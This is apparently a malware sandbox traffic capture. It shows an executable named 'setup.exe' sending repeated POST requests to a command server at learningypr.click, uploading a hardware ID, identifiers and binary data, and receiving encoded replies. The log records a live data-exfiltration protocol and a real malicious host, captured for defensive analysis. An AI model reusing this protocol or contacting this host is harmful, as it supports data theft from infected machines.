2024-12-30 18:10:12 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 18:10:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h2lp9ki53gvd9t6oikc5vdim32; expires=Fri, 25 Apr 2025 11:56:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YwikyTY3usRt8thjb68%2BieawodxWOI0aWqwCRypTkV157cRlVXo3PuMmMhmwc6g5cws6nvPN5yn70GjfKxxDqH2iJXTMrapCVHGM7sTrsl7jeFshdB955Owa%2FsTegLDxsq2e%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3fc3bcfb58cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1831&min_rtt=1817&rtt_var=709&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2841&recv_bytes=908&delivery_rate=1512953&cwnd=242&unsent_bytes=0&cid=357708305d3648be&ts=503&x=0"
2024-12-30 18:10:12 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-30 18:10:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.32.1	443	7252	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:10:13 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 78 Host: learningypr.click
2024-12-30 18:10:13 UTC	78	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 44 52 4f 4e 26 6a 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--DRON&j=637b55279021aab33278188cfa638397
2024-12-30 18:10:13 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 18:10:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ejm978dbr9468tmcg9uticf47v; expires=Fri, 25 Apr 2025 11:56:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F%2BoBz6518y43Ud1q0d6COkHR2UOE6dXrfo4gtydCBcUxmk%2FnCGNJyel1g64USOCbjLINcbf9L527StBaA9pjPIwKC4X8WI099KSvz4q%2FO5IpAx9F0WS0liPeenMo0aOhTi5YHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3fc418ddb41a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1636&min_rtt=1633&rtt_var=618&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=979&delivery_rate=1761158&cwnd=239&unsent_bytes=0&cid=66a2567a93f3130d&ts=478&x=0"
2024-12-30 18:10:13 UTC	240	IN	Data Raw: 34 66 34 34 0d 0a 30 57 75 46 2f 56 62 32 47 66 54 70 31 2f 57 2b 37 43 79 61 78 69 6b 6d 78 4e 42 67 4e 39 35 2b 6f 53 6e 66 4c 6a 33 46 47 6e 79 71 53 66 50 66 62 4d 49 31 31 70 71 79 31 34 53 59 58 75 2b 6a 42 51 53 6c 74 45 49 4e 75 42 2f 4e 57 72 6f 43 48 37 4e 33 58 75 73 4e 35 4a 45 6c 6b 7a 58 57 6a 4b 2f 58 68 4c 64 58 75 4b 4e 48 42 50 37 79 42 56 32 38 48 38 31 4c 76 6b 56 53 74 58 59 66 75 51 66 69 6c 54 4f 56 66 5a 57 46 75 70 44 62 69 55 33 77 71 45 42 4c 72 4c 31 43 47 2f 77 62 32 77 76 6c 44 48 43 67 62 68 32 63 43 76 61 57 64 49 73 31 6a 38 75 79 6d 35 7a 57 44 76 75 6a 53 30 71 69 74 41 74 66 74 68 62 46 53 72 74 45 54 61 78 38 46 4c 6b 4a 34 5a 51 35 6e 47 6d 59 6a 37 32 62 33 59 4e 4e 75 4f Data Ascii: 4f440WuF/Vb2GfTp1/W+7CyaxikmxNBgN95+oSnfLj3FGnyqSfPfbMI11pqy14SYXu+jBQSltEINuB/NWroCH7N3XusN5JElkzXWjK/XhLdXuKNHBP7yBV28H81LvkVStXYfuQfilTOVfZWFupDbiU3wqEBLrL1CG/wb2wvlDHCgbh2cCvaWdIs1j8uym5zWDvujS0qitAtfthbFSrtETax8FLkJ4ZQ5nGmYj72b3YNNuO
2024-12-30 18:10:13 UTC	1369	IN	Data Raw: 6f 4c 51 37 37 79 57 68 58 76 4c 73 42 61 72 46 6c 53 74 33 35 65 72 45 66 2b 33 7a 4f 59 4f 38 37 4c 76 5a 76 53 69 30 33 33 6f 30 70 45 74 4c 30 43 56 72 51 55 78 30 47 79 51 31 43 70 63 68 6d 37 41 4f 43 51 4d 35 78 39 6d 59 6a 31 32 5a 79 4a 56 72 6a 38 43 32 53 32 73 51 46 42 73 51 32 44 56 50 4e 56 48 36 42 30 58 75 74 4a 34 5a 45 31 6d 58 75 45 67 37 36 63 32 5a 78 46 38 61 6c 47 52 4b 75 34 44 56 61 38 47 38 6c 42 73 6b 5a 62 71 6e 55 59 73 77 6d 6e 30 58 53 54 59 39 62 54 39 62 54 5a 6e 6b 6e 30 73 67 6c 2b 35 71 31 4d 54 50 77 62 7a 77 76 6c 44 46 65 69 65 78 32 34 42 75 53 58 50 34 5a 37 68 49 32 34 6b 73 36 49 53 2f 61 75 53 46 61 73 76 41 52 57 74 52 66 4b 54 72 70 49 48 2b 6b 34 47 61 74 4a 76 39 38 56 6d 58 43 61 67 61 4b 58 6e 4a 45 41 34 Data Ascii: oLQ77yWhXvLsBarFlSt35erEf+3zOYO87LvZvSi033o0pEtL0CVrQUx0GyQ1Cpchm7AOCQM5x9mYj12ZyJVrj8C2S2sQFBsQ2DVPNVH6B0XutJ4ZE1mXuEg76c2ZxF8alGRKu4DVa8G8lBskZbqnUYswmn0XSTY9bT9bTZnkn0sgl+5q1MTPwbzwvlDFeiex24BuSXP4Z7hI24ks6IS/auSFasvARWtRfKTrpIH+k4GatJv98VmXCagaKXnJEA4
2024-12-30 18:10:13 UTC	1369	IN	Data Raw: 71 75 41 52 61 73 52 43 44 42 66 31 4c 52 2b 63 67 58 70 6b 4b 38 35 77 2b 31 6b 36 56 68 62 75 51 79 73 35 52 74 72 30 4c 51 36 72 79 57 68 57 78 48 63 74 4e 72 30 4e 53 70 48 59 51 76 41 7a 6f 6c 7a 53 55 64 70 4f 50 76 70 7a 66 67 30 72 71 72 6b 74 4d 6f 37 4d 49 58 2f 78 53 67 30 79 6c 44 41 66 6e 53 51 6d 34 53 39 4b 63 4f 70 70 38 67 4d 75 71 32 63 58 4f 53 66 54 6b 45 77 53 72 75 67 64 51 73 78 33 4a 52 62 68 47 55 36 39 32 48 61 45 47 34 35 38 34 6e 48 47 62 68 62 47 66 31 59 56 46 2f 71 52 4b 54 75 62 38 51 6c 4b 6b 58 4a 73 4c 69 55 74 54 71 6e 64 63 68 67 72 70 6b 54 4f 43 4f 34 6e 46 72 4e 66 62 67 67 36 67 35 45 64 4e 70 72 6b 49 55 62 77 62 7a 6b 36 2b 53 31 79 71 66 78 53 39 44 75 4f 54 50 5a 6c 39 6c 6f 79 78 6b 73 36 4c 52 2f 53 6f 43 77 Data Ascii: quARasRCDBf1LR+cgXpkK85w+1k6VhbuQys5Rtr0LQ6ryWhWxHctNr0NSpHYQvAzolzSUdpOPvpzfg0rqrktMo7MIX/xSg0ylDAfnSQm4S9KcOpp8gMuq2cXOSfTkEwSrugdQsx3JRbhGU692HaEG4584nHGbhbGf1YVF/qRKTub8QlKkXJsLiUtTqndchgrpkTOCO4nFrNfbgg6g5EdNprkIUbwbzk6+S1yqfxS9DuOTPZl9loyxks6LR/SoCw
2024-12-30 18:10:13 UTC	1369	IN	Data Raw: 53 76 49 46 67 30 79 78 44 41 66 6e 63 52 65 68 42 2b 6d 57 4f 5a 4a 7a 6b 59 57 34 6e 4e 71 46 53 66 2b 69 52 6b 79 72 74 77 46 55 75 42 62 52 53 4c 5a 47 55 71 30 34 55 50 4d 4f 2f 39 39 73 31 46 79 61 6f 71 57 4d 7a 70 67 4f 35 2b 70 53 42 4b 47 2b 51 67 33 38 48 38 78 43 73 6b 52 58 71 48 63 61 76 51 2f 68 6b 6a 47 62 63 59 53 44 75 35 72 58 67 55 58 71 70 45 5a 41 71 72 59 4b 58 72 5a 63 6a 51 75 36 56 42 2f 2f 4f 43 75 2b 42 75 65 63 49 74 52 6b 32 4a 4c 31 6b 4e 44 4f 46 72 69 6f 52 55 53 70 76 67 35 65 74 42 33 50 52 62 70 4a 56 71 39 77 44 4c 49 4e 37 35 34 36 6d 33 71 53 6a 72 43 54 32 34 70 49 39 2b 51 46 42 4b 47 71 51 67 33 38 4d 2b 52 2b 2f 32 31 6c 35 32 64 51 71 6b 6e 67 6b 33 54 4d 4f 35 71 49 75 5a 2f 54 69 45 66 30 72 6b 4a 50 71 72 6b Data Ascii: SvIFg0yxDAfncRehB+mWOZJzkYW4nNqFSf+iRkyrtwFUuBbRSLZGUq04UPMO/99s1FyaoqWMzpgO5+pSBKG+Qg38H8xCskRXqHcavQ/hkjGbcYSDu5rXgUXqpEZAqrYKXrZcjQu6VB//OCu+BuecItRk2JL1kNDOFrioRUSpvg5etB3PRbpJVq9wDLIN7546m3qSjrCT24pI9+QFBKGqQg38M+R+/21l52dQqkngk3TMO5qIuZ/TiEf0rkJPqrk
2024-12-30 18:10:13 UTC	1369	IN	Data Raw: 4d 5a 45 76 45 31 5a 74 58 38 58 6f 51 66 71 6b 44 79 63 63 70 65 50 73 4a 72 61 67 6b 54 35 6f 30 56 4b 72 76 4a 4d 46 62 73 45 67 78 50 39 62 55 2b 38 61 67 69 2b 4b 4f 71 51 64 49 73 31 6a 38 75 79 6d 35 7a 57 44 76 47 32 54 30 6d 30 75 77 56 62 73 78 2f 52 53 72 42 48 54 61 42 33 47 72 51 46 34 5a 41 79 6c 58 36 63 68 37 4b 53 31 34 46 43 75 4f 6f 4c 51 37 37 79 57 68 57 53 46 39 42 63 76 6b 4a 55 73 57 4e 65 72 45 66 2b 33 7a 4f 59 4f 38 37 4c 74 70 7a 58 69 6b 37 30 70 45 39 4a 70 71 41 4e 55 72 73 56 79 46 6d 33 53 31 69 73 63 42 57 38 44 2f 57 54 4f 6f 5a 2b 68 4a 6e 31 32 5a 79 4a 56 72 6a 38 43 33 4b 68 6f 68 4a 57 2f 69 33 56 53 4b 74 48 55 71 73 34 41 66 30 51 70 35 67 34 31 43 50 57 6a 62 71 65 33 34 46 50 38 61 68 47 51 61 2b 33 41 31 4f 34 Data Ascii: MZEvE1ZtX8XoQfqkDyccpePsJragkT5o0VKrvJMFbsEgxP9bU+8agi+KOqQdIs1j8uym5zWDvG2T0m0uwVbsx/RSrBHTaB3GrQF4ZAylX6ch7KS14FCuOoLQ77yWhWSF9BcvkJUsWNerEf+3zOYO87LtpzXik70pE9JpqANUrsVyFm3S1iscBW8D/WTOoZ+hJn12ZyJVrj8C3KhohJW/i3VSKtHUqs4Af0Qp5g41CPWjbqe34FP8ahGQa+3A1O4
2024-12-30 18:10:13 UTC	1369	IN	Data Raw: 35 58 48 37 67 32 42 2f 4d 4f 36 39 39 73 31 48 69 52 69 4c 53 64 31 59 4a 42 2f 36 42 5a 54 71 47 67 41 31 53 33 45 63 39 4c 73 45 46 56 70 6e 45 54 76 77 54 67 6d 44 75 52 4f 39 6a 4c 73 6f 2b 63 31 67 37 5a 71 55 42 49 2f 65 68 43 53 76 49 46 67 30 79 78 44 41 66 6e 65 42 53 32 41 2b 71 63 4f 35 64 70 6c 34 32 6e 6c 39 47 45 58 50 4b 76 54 6b 6d 72 76 77 46 54 75 68 66 50 57 62 52 4d 58 4b 77 34 55 50 4d 4f 2f 39 39 73 31 46 69 42 6e 62 2b 51 30 4a 68 46 2b 61 64 64 53 62 62 79 54 42 57 74 47 39 49 4c 35 56 70 50 73 48 38 42 2f 52 43 6e 6d 44 6a 55 49 39 61 4e 76 4a 48 62 69 45 44 71 6f 55 31 4c 71 62 73 4c 55 62 51 66 77 30 2b 35 53 31 71 6b 64 42 57 30 43 75 69 62 50 5a 70 79 6d 63 76 37 31 39 75 57 44 71 44 6b 61 6c 2b 6c 76 67 38 56 6f 31 4c 61 43 Data Ascii: 5XH7g2B/MO699s1HiRiLSd1YJB/6BZTqGgA1S3Ec9LsEFVpnETvwTgmDuRO9jLso+c1g7ZqUBI/ehCSvIFg0yxDAfneBS2A+qcO5dpl42nl9GEXPKvTkmrvwFTuhfPWbRMXKw4UPMO/99s1FiBnb+Q0JhF+addSbbyTBWtG9IL5VpPsH8B/RCnmDjUI9aNvJHbiEDqoU1LqbsLUbQfw0+5S1qkdBW0CuibPZpymcv719uWDqDkal+lvg8Vo1LaC
2024-12-30 18:10:13 UTC	1369	IN	Data Raw: 67 59 46 37 72 53 63 65 55 49 70 46 38 67 4d 6d 41 6c 4e 4b 41 53 65 37 6b 56 48 76 6f 38 67 4d 56 35 43 58 61 43 36 73 4d 42 2f 55 32 58 71 46 4a 76 39 39 7a 6c 32 6d 45 6a 62 61 42 33 38 6c 77 78 6f 4e 64 54 71 47 69 42 55 4b 7a 58 49 30 4c 73 67 77 48 6e 6a 67 58 74 42 4c 32 69 54 6d 45 66 4e 61 30 2b 39 66 45 7a 68 61 34 6b 55 68 4b 71 4c 55 55 52 50 45 37 31 55 47 36 58 46 69 77 64 31 37 39 53 65 48 66 62 4d 63 31 31 6f 2b 6b 31 34 54 65 48 4b 50 78 47 42 50 32 34 42 30 62 70 56 7a 56 43 2b 55 65 45 65 64 71 58 75 74 4a 6f 4a 77 6d 68 6e 32 56 6e 62 62 51 34 72 42 70 34 71 6c 4e 55 37 65 4d 50 46 4b 6d 45 63 56 63 72 41 42 4b 70 48 59 51 74 42 2b 6e 30 58 53 62 4f 38 36 79 39 64 2b 63 73 51 43 34 76 41 73 63 35 6f 63 42 57 37 49 62 31 56 72 77 61 30 Data Ascii: gYF7rSceUIpF8gMmAlNKASe7kVHvo8gMV5CXaC6sMB/U2XqFJv99zl2mEjbaB38lwxoNdTqGiBUKzXI0LsgwHnjgXtBL2iTmEfNa0+9fEzha4kUhKqLUURPE71UG6XFiwd179SeHfbMc11o+k14TeHKPxGBP24B0bpVzVC+UeEedqXutJoJwmhn2VnbbQ4rBp4qlNU7eMPFKmEcVcrABKpHYQtB+n0XSbO86y9d+csQC4vAsc5ocBW7Ib1Vrwa0
2024-12-30 18:10:13 UTC	1369	IN	Data Raw: 38 78 75 6e 78 33 54 54 65 49 53 5a 73 35 54 4b 6a 51 6e 47 6d 6d 78 4b 6f 62 4d 55 52 61 73 54 2f 58 57 6f 54 31 47 70 66 77 69 69 53 61 6e 66 4f 39 51 6a 72 38 76 39 31 2b 50 41 44 75 44 6b 45 77 53 54 73 51 78 62 75 77 72 53 42 70 70 43 57 4b 5a 75 44 71 51 47 70 39 46 30 6b 6a 76 4f 32 66 76 58 32 4a 38 4f 6f 50 51 5a 48 2f 50 68 56 51 58 75 41 34 31 53 2f 56 6f 66 2f 79 70 51 38 78 75 6e 78 33 54 54 65 49 53 5a 73 35 54 4b 6a 51 6e 47 6d 6d 78 4b 6f 62 4d 55 52 61 73 54 6a 47 57 4c 62 57 47 5a 62 52 32 39 42 2b 43 4a 4a 64 51 31 31 6f 54 31 7a 2b 58 4f 42 72 69 62 42 51 53 2b 38 6c 6f 56 69 52 2f 4e 52 62 70 61 54 75 70 66 45 4c 51 49 38 59 38 6a 6d 7a 53 34 76 5a 54 58 6b 73 35 49 75 50 77 5a 43 75 61 32 45 78 58 6b 54 4a 45 51 36 42 38 49 39 79 6f Data Ascii: 8xunx3TTeISZs5TKjQnGmmxKobMURasT/XWoT1GpfwiiSanfO9Qjr8v91+PADuDkEwSTsQxbuwrSBppCWKZuDqQGp9F0kjvO2fvX2J8OoPQZH/PhVQXuA41S/Vof/ypQ8xunx3TTeISZs5TKjQnGmmxKobMURasTjGWLbWGZbR29B+CJJdQ11oT1z+XOBribBQS+8loViR/NRbpaTupfELQI8Y8jmzS4vZTXks5IuPwZCua2ExXkTJEQ6B8I9yo
2024-12-30 18:10:13 UTC	1369	IN	Data Raw: 34 64 30 7a 44 75 37 6d 62 4b 48 33 38 34 41 75 4b 67 4c 48 4f 61 2f 45 46 4b 73 48 34 39 4d 70 30 73 66 75 44 59 48 38 78 2b 6e 78 32 66 61 4f 34 54 4c 37 64 65 62 67 45 50 35 70 30 56 48 74 4b 41 45 56 71 6f 66 68 48 57 44 59 55 32 67 61 42 33 78 4f 4f 71 62 49 6f 46 34 68 6f 79 4c 71 66 47 63 53 65 69 6e 43 57 69 68 76 77 35 72 67 69 76 53 54 4b 30 4f 65 61 52 75 48 66 4e 48 70 34 64 30 7a 44 75 37 6d 62 4b 48 33 38 78 69 2f 36 6c 48 42 4c 6e 38 47 78 57 71 58 4a 73 59 38 77 78 4e 35 79 42 65 39 41 72 31 6a 54 4b 58 62 5a 58 4d 69 36 6e 78 6e 45 6e 6f 70 77 6c 31 71 37 59 55 51 4c 38 4d 78 48 57 44 59 55 32 67 61 42 33 78 4c 4e 33 64 42 59 4a 34 6c 6f 57 79 31 35 4c 4f 56 72 6a 38 43 32 6d 30 74 52 4a 57 2f 6a 6e 35 43 59 78 61 58 4b 64 32 47 66 4e 48 Data Ascii: 4d0zDu7mbKH384AuKgLHOa/EFKsH49Mp0sfuDYH8x+nx2faO4TL7debgEP5p0VHtKAEVqofhHWDYU2gaB3xOOqbIoF4hoyLqfGcSeinCWihvw5rgivSTK0OeaRuHfNHp4d0zDu7mbKH38xi/6lHBLn8GxWqXJsY8wxN5yBe9Ar1jTKXbZXMi6nxnEnopwl1q7YUQL8MxHWDYU2gaB3xLN3dBYJ4loWy15LOVrj8C2m0tRJW/jn5CYxaXKd2GfNH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	104.21.32.1	443	7252	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:10:14 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RVM1PD4RW0Q7YUQJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18150 Host: learningypr.click
2024-12-30 18:10:14 UTC	15331	OUT	Data Raw: 2d 2d 52 56 4d 31 50 44 34 52 57 30 51 37 59 55 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 32 45 45 44 32 31 46 44 45 34 30 41 35 38 44 38 35 38 35 41 42 34 34 34 38 33 35 36 33 45 39 0d 0a 2d 2d 52 56 4d 31 50 44 34 52 57 30 51 37 59 55 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 56 4d 31 50 44 34 52 57 30 51 37 59 55 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 44 52 4f 4e 0d 0a 2d 2d 52 56 4d Data Ascii: --RVM1PD4RW0Q7YUQJContent-Disposition: form-data; name="hwid"72EED21FDE40A58D8585AB44483563E9--RVM1PD4RW0Q7YUQJContent-Disposition: form-data; name="pid"2--RVM1PD4RW0Q7YUQJContent-Disposition: form-data; name="lid"hRjzG3--DRON--RVM
2024-12-30 18:10:14 UTC	2819	OUT	Data Raw: 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 Data Ascii: h/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!
2024-12-30 18:10:15 UTC	1143	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 18:10:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=35st2tp4822d2nnug0fqtgs755; expires=Fri, 25 Apr 2025 11:56:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h6vD68239u55TXc6tL7vg5B%2FT5IOe72fafCfOGTuTtAW%2Fa9sYCEgnW%2FW4%2BEDgRSd%2FWwYh7RH%2BSWNhVK8BcCkKdJ2blo%2F9hysYEkzKVt%2Bk2j%2BKQD5P2IDMMKIxbpaEqutCOXNdA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3fc495c344344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1684&min_rtt=1675&rtt_var=647&sent=9&recv=21&lost=0&retrans=0&sent_bytes=2842&recv_bytes=19111&delivery_rate=1667618&cwnd=47&unsent_bytes=0&cid=026ba196026ca5c9&ts=659&x=0"
2024-12-30 18:10:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 18:10:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	104.21.32.1	443	7252	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:10:15 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KKG02N6EU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8729 Host: learningypr.click
2024-12-30 18:10:15 UTC	8729	OUT	Data Raw: 2d 2d 4b 4b 47 30 32 4e 36 45 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 32 45 45 44 32 31 46 44 45 34 30 41 35 38 44 38 35 38 35 41 42 34 34 34 38 33 35 36 33 45 39 0d 0a 2d 2d 4b 4b 47 30 32 4e 36 45 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 4b 47 30 32 4e 36 45 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 44 52 4f 4e 0d 0a 2d 2d 4b 4b 47 30 32 4e 36 45 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --KKG02N6EUContent-Disposition: form-data; name="hwid"72EED21FDE40A58D8585AB44483563E9--KKG02N6EUContent-Disposition: form-data; name="pid"2--KKG02N6EUContent-Disposition: form-data; name="lid"hRjzG3--DRON--KKG02N6EUContent-Dispo
2024-12-30 18:10:16 UTC	1135	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 18:10:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s4g86liraq4pgccmevk940b6l7; expires=Fri, 25 Apr 2025 11:56:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H0yT3ywByh13Jhe%2BGtOtfJBsq2wy7LE52CzfJ42b5hNhidrAWvWtHgPid7Hz4lBqL7F5w3S3v69%2BjMl5alu6fPiHk%2Fj%2Btj6ZThrmxjnCnkPZ58gE26akc%2F3wXk5sHqEA0FL0sg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3fc51d94b41a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1582&min_rtt=1577&rtt_var=603&sent=9&recv=14&lost=0&retrans=0&sent_bytes=2840&recv_bytes=9660&delivery_rate=1798029&cwnd=239&unsent_bytes=0&cid=91044bda7141bd21&ts=645&x=0"
2024-12-30 18:10:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 18:10:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	104.21.32.1	443	7252	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:10:17 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=POEN4VU2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20376 Host: learningypr.click
